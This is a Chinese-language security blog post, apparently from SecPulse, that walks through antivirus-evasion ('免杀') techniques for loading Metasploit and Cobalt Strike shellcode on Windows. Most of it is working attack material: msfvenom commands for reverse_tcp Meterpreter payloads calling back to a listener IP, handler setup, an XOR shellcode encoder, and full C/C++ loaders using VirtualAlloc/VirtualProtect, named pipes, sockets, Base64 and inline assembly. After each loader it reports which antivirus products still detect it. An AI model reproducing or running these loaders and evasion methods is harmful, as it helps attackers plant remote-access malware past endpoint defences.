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前言
踩着大佬们的脚步，用自己蹩脚的C++功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案，复现大佬们的这几个方案用了3天时间，我真的是菜的可怜。
生成ShellCode的方法
1、使用msfvenom生成的ShellCode
参数说明
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload <payload> 要使用的有效载荷 -f, --format <format> 输出格式,输出的语言类型 -e, --encoder <encoder> 要使用的编码器 -a, --arch <arch> 用于--payload和--encoders的体系结构 -o, --out <path> 保存到那个文件 -b, --bad-chars <list> 避免使用那些字符 -n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled -s, --space <length> 产生有效负荷的最大长度 -i, --iterations <count> 对负荷进行编码的次数 -c, --add-code <path> 指定一个详细win32 shellcode文件给include -x, --template <path> 指定一个自定义可执行的文件作为一个模板(template) -k, --keep 保留--template生成的模板行为并且把负荷作为一个新的线程注入 -v, --var-name <value> 指定一个自定义变量名作为确切的输出格式 -t, --timeout <second> 从STDIN读取有效负载时要等待的秒数（默认为30，禁用为0）
生成ShellCode命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.183.138 lport=4444 -f c
-f 能够生产如下格式的代码
Msf中监听
use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.183.138 set LPORT 4444 set EnableStageEncoding true
2、使用Cobaltstrike生成的ShellCode
客户端运行
javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
服务端运行
./teamserver you_ip you_passwd
使用C++编译器生成ShellCode
后面会出个shellcode生成器的文章
使用C++进行编译免杀
申请动态内存加载
申请内存的方式有很多种常见的几种方式如下
PlanA
#include <Windows.h>
#include <stdio.h>#include <string.h>#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口unsigned char buf[] = "shellcode";void main(){LPVOID Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();}
运行效果
VT免杀效果
火绒报毒，360没反应
#include <windows.h>#include <stdio.h>typedef void (_stdcall *CODE)();#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")unsigned char shellcode[] ="shellcode";void main(){PVOID p = NULL;p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (p == NULL){return;}memcpy(p, shellcode, sizeof(shellcode));CODE code = (CODE)p;code();}
VT免杀效果
360和火绒都能查杀到
PlanC
A和B计划都是直接将代码执行，我们尝试先对shellcode进行异或加密然后在代码中解密
倾旋大佬的代码
import sysfrom argparse import ArgumentParser, FileTypedef process_bin(num, src_fp, dst_fp, dst_raw):shellcode = ''shellcode_size = 0shellcode_raw = b''try:while True:code = src_fp.read(1)if not code:breakbase10 = ord(code) ^ numbase10_str = chr(base10)shellcode_raw += base10_str.encode()code_hex = hex(base10)code_hex = code_hex.replace('0x','')if(len(code_hex) == 1):code_hex = '0' + code_hexshellcode += '\\x' + code_hexshellcode_size += 1src_fp.close()dst_raw.write(shellcode_raw)dst_raw.close()dst_fp.write(shellcode)dst_fp.close()return shellcode_sizeexcept Exception as e:sys.stderr.writelines(str(e))def main():parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')parser.add_argument('-v','--version',nargs='?')parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)args = parser.parse_args()shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))if __name__ == "__main__":main()
先用msf生成bin文件，然后再用运行
python .xor.py -s .payload.bin -d payload.c -n 10 -r 123.txt
生成好的payload.c文件
这边用倾旋大佬的思路:在申请内存页时，一定要把控好属性，可以在Shellcode读入时，申请一个普通的可读写的内存页，然后再通过VirtualProtect改变它的属性 -> 可执行。
#微软的文档 https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
具体代码
#include <Windows.h>// 入口函数int wmain(int argc,TCHAR * argv[]){int shellcode_size = 0; // shellcode长度DWORD dwThreadId; // 线程IDHANDLE hThread; // 线程句柄DWORD dwOldProtect; // 内存页属性/* length: 800 bytes */unsigned char buf[] = "shellcode";// 获取shellcode大小shellcode_size = sizeof(buf);/* 增加异或代码 */for(int i = 0;i<shellcode_size; i++){buf[i] ^= 10;}/*VirtualAlloc(NULL, // 基址800, // 大小MEM_COMMIT, // 内存页状态PAGE_EXECUTE_READWRITE // 可读可写可执行);*/char * shellcode = (char *)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_READWRITE // 只申请可读可写//原来的属性是PAGE_EXECUTE_READWRITE);// 将shellcode复制到可读可写的内存页中CopyMemory(shellcode,buf,shellcode_size);// 这里开始更改它的属性为可执行VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);// 等待几秒，兴许可以跳过某些沙盒呢？Sleep(2000);hThread = CreateThread(NULL, // 安全描述符NULL, // 栈的大小(LPTHREAD_START_ROUTINE)shellcode, // 函数NULL, // 参数NULL, // 线程标志&dwThreadId // 线程ID);WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束return 0;}
TV免杀效果
360和火绒免杀效果，两个杀软都检测不出来
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
依旧360没报毒，火绒报毒
TV报毒依旧不理想
这种方法编译容易导致程序不能运行，需要用vs6.0进行编译，免杀效果也是目前最差的,编译测试的时候会导致程序崩溃
#include <windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")unsigned char shellcode[] ="shellcode";void main(){((void(WINAPI*)(void))&shellcode)();}
汇编花指令
这边的花指令可以直接加上一些像nop之类的没用的代码暂停什么的，还是可以提升绕过沙盒的几率
#include <windows.h>#include <stdio.h>#pragma comment(linker, "/section:.data,RWE")unsigned char shellcode[] ="";void main(){__asm{mov eax, offset shellcode_emit 0xFF_emit 0xE0}}
TV免杀效果和直接汇报效果差不多
杀软效果依旧是360不报毒，火绒报毒了
利用管道来执行
这两种方法的shellcode需要使用xor脚本进行异或后再能使用不然会报错，如果不想生成可以删除这段代码即可
for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}
单进程方式
#include <Windows.h>#include <stdio.h>#include <intrin.h>#define BUFF_SIZE 1024char buf[] = "shellcode";PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");BOOL RecvShellcode(VOID){HANDLE hPipeClient;DWORD dwWritten;DWORD dwShellcodeSize = sizeof(buf);// 等待管道可用WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);// 连接管道hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);if(hPipeClient == INVALID_HANDLE_VALUE){printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());return FALSE;}WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);if(dwWritten == dwShellcodeSize){CloseHandle(hPipeClient);printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);return TRUE;}CloseHandle(hPipeClient);return FALSE;}int wmain(int argc, TCHAR * argv[]){HANDLE hPipe;DWORD dwError;CHAR szBuffer[BUFF_SIZE];DWORD dwLen;PCHAR pszShellcode = NULL;DWORD dwOldProtect; // 内存页属性HANDLE hThread;DWORD dwThreadId;// 参考：https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipeahPipe = CreateNamedPipe(ptsPipeName,PIPE_ACCESS_INBOUND,PIPE_TYPE_BYTE| PIPE_WAIT,PIPE_UNLIMITED_INSTANCES,BUFF_SIZE,BUFF_SIZE,0,NULL);if(hPipe == INVALID_HANDLE_VALUE){dwError = GetLastError();printf("[-]Create Pipe Error : %d \n",dwError);return dwError;}CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL);if(ConnectNamedPipe(hPipe,NULL) > 0){printf("[+]Client Connected...\n");ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);printf("[+]Get DATA Length : %d \n",dwLen);// 申请内存页pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);// 拷贝内存CopyMemory(pszShellcode,szBuffer,dwLen);for(DWORD i = 0;i< dwLen; i++){Sleep(50);_InterlockedXor8(pszShellcode+i,10);}// 这里开始更改它的属性为可执行VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);// 执行ShellcodehThread = CreateThread(NULL, // 安全描述符NULL, // 栈的大小(LPTHREAD_START_ROUTINE)pszShellcode, // 函数NULL, // 参数NULL, // 线程标志&dwThreadId // 线程ID);WaitForSingleObject(hThread,INFINITE);}return 0;}
VT效果
360和火绒都没报毒
多进程方式
PipServer进程
#include <Windows.h>#include <stdio.h>#include <intrin.h>#define BUFF_SIZE 1024PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");int wmain(int argc, TCHAR * argv[]){HANDLE hPipe;DWORD dwError;CHAR szBuffer[BUFF_SIZE];DWORD dwLen;PCHAR pszShellcode = NULL;DWORD dwOldProtect; // 内存页属性HANDLE hThread;DWORD dwThreadId;// 参考：https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipeahPipe = CreateNamedPipe(ptsPipeName,PIPE_ACCESS_INBOUND,PIPE_TYPE_BYTE| PIPE_WAIT,PIPE_UNLIMITED_INSTANCES,BUFF_SIZE,BUFF_SIZE,0,NULL);if(hPipe == INVALID_HANDLE_VALUE){dwError = GetLastError();printf("[-]Create Pipe Error : %d \n",dwError);return dwError;}if(ConnectNamedPipe(hPipe,NULL) > 0){printf("[+]Client Connected...\n");ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);printf("[+]Get DATA Length : %d \n",dwLen);// 申请内存页pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);// 拷贝内存CopyMemory(pszShellcode,szBuffer,dwLen);for(DWORD i = 0;i< dwLen; i++){Sleep(50);_InterlockedXor8(pszShellcode+i,10);}// 这里开始更改它的属性为可执行VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);// 执行ShellcodehThread = CreateThread(NULL, // 安全描述符NULL, // 栈的大小(LPTHREAD_START_ROUTINE)pszShellcode, // 函数NULL, // 参数NULL, // 线程标志&dwThreadId // 线程ID);WaitForSingleObject(hThread,INFINITE);}return 0;}
PipClient进程
#include <Windows.h>#include <stdio.h>#include <intrin.h>#define BUFF_SIZE 1024char buf[] = "shellcode";PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");BOOL RecvShellcode(VOID){HANDLE hPipeClient;DWORD dwWritten;DWORD dwShellcodeSize = sizeof(buf);// 等待管道可用WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);// 连接管道hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);if(hPipeClient == INVALID_HANDLE_VALUE){printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());return FALSE;}WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);if(dwWritten == dwShellcodeSize){CloseHandle(hPipeClient);printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);return TRUE;}CloseHandle(hPipeClient);return FALSE;}int wmain(int argc, TCHAR * argv[]){RecvShellcode();return 0;}
VT免杀效果
360和火绒都免杀
网络套接字式
shellcode需要使用xor脚本进行异或后再能使用不然会报错，如果不想生成可以删除这段代码即可
for(DWORD i = 0;i< dwCodeLen; i++){
_InterlockedXor8(pszShellcode+i,10);
}
服务端
#include <WinSock2.h>#include <Windows.h>#include <stdio.h>#include <intrin.h>#pragma comment(lib,"ws2_32.lib")BOOL RunCode(CHAR * code,DWORD dwCodeLen){HANDLE hThread;DWORD dwOldProtect;DWORD dwThreadId;PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL,dwCodeLen,MEM_COMMIT,PAGE_READWRITE);CopyMemory(pszShellcode,code,dwCodeLen);for(DWORD i = 0;i< dwCodeLen; i++){_InterlockedXor8(pszShellcode+i,10);}// 这里开始更改它的属性为可执行VirtualProtect(pszShellcode,dwCodeLen,PAGE_EXECUTE,&dwOldProtect);// 执行ShellcodehThread = CreateThread(NULL, // 安全描述符NULL, // 栈的大小(LPTHREAD_START_ROUTINE)pszShellcode, // 函数NULL, // 参数NULL, // 线程标志&dwThreadId // 线程ID);WaitForSingleObject(hThread,INFINITE);return TRUE;}int wmain(int argc, TCHAR argv[]){CHAR buf[801];DWORD dwError;WORD sockVersion = MAKEWORD(2, 2);WSADATA wsaData;SOCKET socks;SOCKET sClient;struct sockaddr_in s_client;INT nAddrLen = sizeof(s_client);SHORT sListenPort = 8888;struct sockaddr_in sin;if (WSAStartup(sockVersion, &wsaData) != 0){dwError = GetLastError();printf("[*]WSAStarup Error : %d \n",dwError);return dwError;}socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (socks == INVALID_SOCKET){dwError = GetLastError();printf("[*]Socket Error : %d \n",dwError);return dwError;}sin.sin_family = AF_INET;sin.sin_port = htons(sListenPort);sin.sin_addr.S_un.S_addr = INADDR_ANY;if(bind(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR ){dwError = GetLastError();printf("[*]Bind Error : %d \n",dwError);return dwError;}if (listen(socks, 5) == SOCKET_ERROR){dwError = GetLastError();printf("[*]Listen Error : %d \n",dwError);return dwError;}sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen);int ret = recv(sClient,buf,sizeof(buf),0);if (ret > 0){printf("[+]Recv %d-Bytes \n",ret);closesocket(sClient);closesocket(socks);}WSACleanup();RunCode(buf,sizeof(buf));return 0;}
客户端
#include <WinSock2.h>#include <Windows.h>#include <stdio.h>#include <intrin.h>#pragma comment(lib,"ws2_32.lib")char buf[] = "shellcode";int wmain(int argc, TCHAR argv[]){DWORD dwError;WORD sockVersion = MAKEWORD(2, 2);WSADATA wsaData;SOCKET socks;SHORT sListenPort = 8888;struct sockaddr_in sin;if (WSAStartup(sockVersion, &wsaData) != 0){dwError = GetLastError();printf("[*]WSAStarup Error : %d \n",dwError);return dwError;}socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (socks == INVALID_SOCKET){dwError = GetLastError();printf("[*]Socket Error : %d \n",dwError);return dwError;}sin.sin_family = AF_INET;sin.sin_port = htons(sListenPort);sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR ){dwError = GetLastError();printf("[*]Bind Error : %d \n",dwError);return dwError;}int ret = send(socks,buf,sizeof(buf),0);if (ret > 0){printf("[+]Send %d-Bytes \n",ret);closesocket(socks);}WSACleanup();return 0;}
TV免杀
360和火绒都无法检测出来
Base64加密法
Base6464.h
#ifndef base64_h#define base64_h#include <stdio.h>#if __cplusplusextern "C" {#endifint base64_encode(const char *indata, int inlen, char *outdata, int *outlen);int base64_decode(const char *indata, int inlen, char *outdata);#if __cplusplus}#endif#endif /* base64_h */
Base64-cpp
/*** 转解码过程* 3 * 8 = 4 * 6; 3字节占24位, 4*6=24* 先将要编码的转成对应的ASCII值* 如编码: s 1 3* 对应ASCII值为: 115 49 51* 对应二进制为: 01110011 00110001 00110011* 将其6个分组分4组: 011100 110011 000100 110011* 而计算机是以8bit存储, 所以在每组的高位补两个0如下:* 00011100 00110011 00000100 00110011对应:28 51 4 51* 查找base64 转换表 对应 c z E z** 解码* c z E z* 对应ASCII值为 99 122 69 122* 对应表base64_suffix_map的值为 28 51 4 51* 对应二进制值为 00011100 00110011 00000100 00110011* 依次去除每组的前两位, 再拼接成3字节* 即: 01110011 00110001 00110011* 对应的就是s 1 3*/#include "base64.h"#include <stdio.h>#include <stdlib.h>// base64 转换表, 共64个static const char base64_alphabet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G','H', 'I', 'J', 'K', 'L', 'M', 'N','O', 'P', 'Q', 'R', 'S', 'T','U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g','h', 'i', 'j', 'k', 'l', 'm', 'n','o', 'p', 'q', 'r', 's', 't','u', 'v', 'w', 'x', 'y', 'z','0', '1', '2', '3', '4', '5', '6', '7', '8', '9','+', '/' };// 解码时使用static const unsigned char base64_suffix_map[256] = {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255 };static char cmove_bits(unsigned char src, unsigned lnum, unsigned rnum) {src <<= lnum; // src = src << lnum;src >>= rnum; // src = src >> rnum;return src;}int base64_encode(const char *indata, int inlen, char *outdata, int *outlen) {int ret = 0; // return valueif (indata == NULL || inlen == 0) {return ret = -1;}int in_len = 0; // 源字符串长度, 如果in_len不是3的倍数, 那么需要补成3的倍数int pad_num = 0; // 需要补齐的字符个数, 这样只有2, 1, 0(0的话不需要拼接, )if (inlen % 3 != 0) {pad_num = 3 - inlen % 3;}in_len = inlen + pad_num; // 拼接后的长度, 实际编码需要的长度(3的倍数)int out_len = in_len * 8 / 6; // 编码后的长度char *p = outdata; // 定义指针指向传出data的首地址//编码, 长度为调整后的长度, 3字节一组for (int i = 0; i < in_len; i += 3) {int value = *indata >> 2; // 将indata第一个字符向右移动2bit(丢弃2bit)char c = base64_alphabet[value]; // 对应base64转换表的字符*p = c; // 将对应字符(编码后字符)赋值给outdata第一字节//处理最后一组(最后3字节)的数据if (i == inlen + pad_num - 3 && pad_num != 0) {if (pad_num == 1) {*(p + 1) = base64_alphabet[(int)(cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4))];*(p + 2) = base64_alphabet[(int)cmove_bits(*(indata + 1), 4, 2)];*(p + 3) = '=';}else if (pad_num == 2) { // 编码后的数据要补两个 '='*(p + 1) = base64_alphabet[(int)cmove_bits(*indata, 6, 2)];*(p + 2) = '=';*(p + 3) = '=';}}else { // 处理正常的3字节的数据*(p + 1) = base64_alphabet[cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4)];*(p + 2) = base64_alphabet[cmove_bits(*(indata + 1), 4, 2) + cmove_bits(*(indata + 2), 0, 6)];*(p + 3) = base64_alphabet[*(indata + 2) & 0x3f];}p += 4;indata += 3;}if (outlen != NULL) {*outlen = out_len;}return ret;}int base64_decode(const char *indata, int inlen, char *outdata) {int ret = 0;if (indata == NULL || inlen <= 0 || outdata == NULL ) {return ret = -1;}if (inlen % 4 != 0) { // 需要解码的数据不是4字节倍数return ret = -2;}int t = 0, x = 0, y = 0, i = 0;unsigned char c = 0;int g = 3;while (indata[x] != 0) {// 需要解码的数据对应的ASCII值对应base64_suffix_map的值c = base64_suffix_map[indata[x++]];if (c == 255) return -1;// 对应的值不在转码表中if (c == 253) continue;// 对应的值是换行或者回车if (c == 254) { c = 0; g--; }// 对应的值是'='t = (t << 6) | c; // 将其依次放入一个int型中占3字节if (++y == 4) {outdata[i++] = (unsigned char)((t >> 16) & 0xff);if (g > 1) outdata[i++] = (unsigned char)((t >> 8) & 0xff);if (g > 2) outdata[i++] = (unsigned char)(t & 0xff);y = t = 0;}}return ret;}
Shell.c
#include <stdio.h>#include <string.h>#include <Windows.h>#include "Base64.h"char buf[] ="shellcode";int main(int argc, const char* argv[]) {char str3[1000] = { 0 };base64_decode(buf, (int)strlen(buf), str3);LPVOID Memory;Memory = VirtualAlloc(NULL, sizeof(str3), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, str3, sizeof(str3));((void(*)())Memory)();return 0;}
用msf进行Base64加密
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.183.138 lport=4444 -f c > shell.c
然后把代码放到里面buf里面
TV查杀
依旧还是360查杀不了火绒报毒了
使用C++进行编译加载器进行免杀
使用shellcode launcher
项目地址如下
https://github.com/clinicallyinane/shellcode_launcher
生成raw的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=127.0.0.1 lport=3333 -f raw -o shellcode.raw
在目标上运行
shellcode_launcher.exe -i shellcode.raw
火绒和360都不报毒
TV上免杀效果
使用shellcode launcher
项目地址如下
https://github.com/DimopoulosElias/SimpleShellcodeInjector
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.138 LPORT=4444 -f c -o msf.txt
然后执行如下命令
cat msf.txt|grep -v unsigned|sed "s/"\x//g"|sed "s/\x//g"|sed "s/"//g"|sed ':a;N;$!ba;s/n//g'|sed "s/;//g"
接着编译项目，然后在目标机器上执行，都可以绕过360和火绒
TV免杀效果目前是最好的了
感谢师傅们无私的贡献
https://payloads.online/archivers/2019-11-10/2 https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html https://mp.weixin.qq.com/s/LftwV4bpuikDklIjuRw2L
本文作者：ascotbe
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/132175.html
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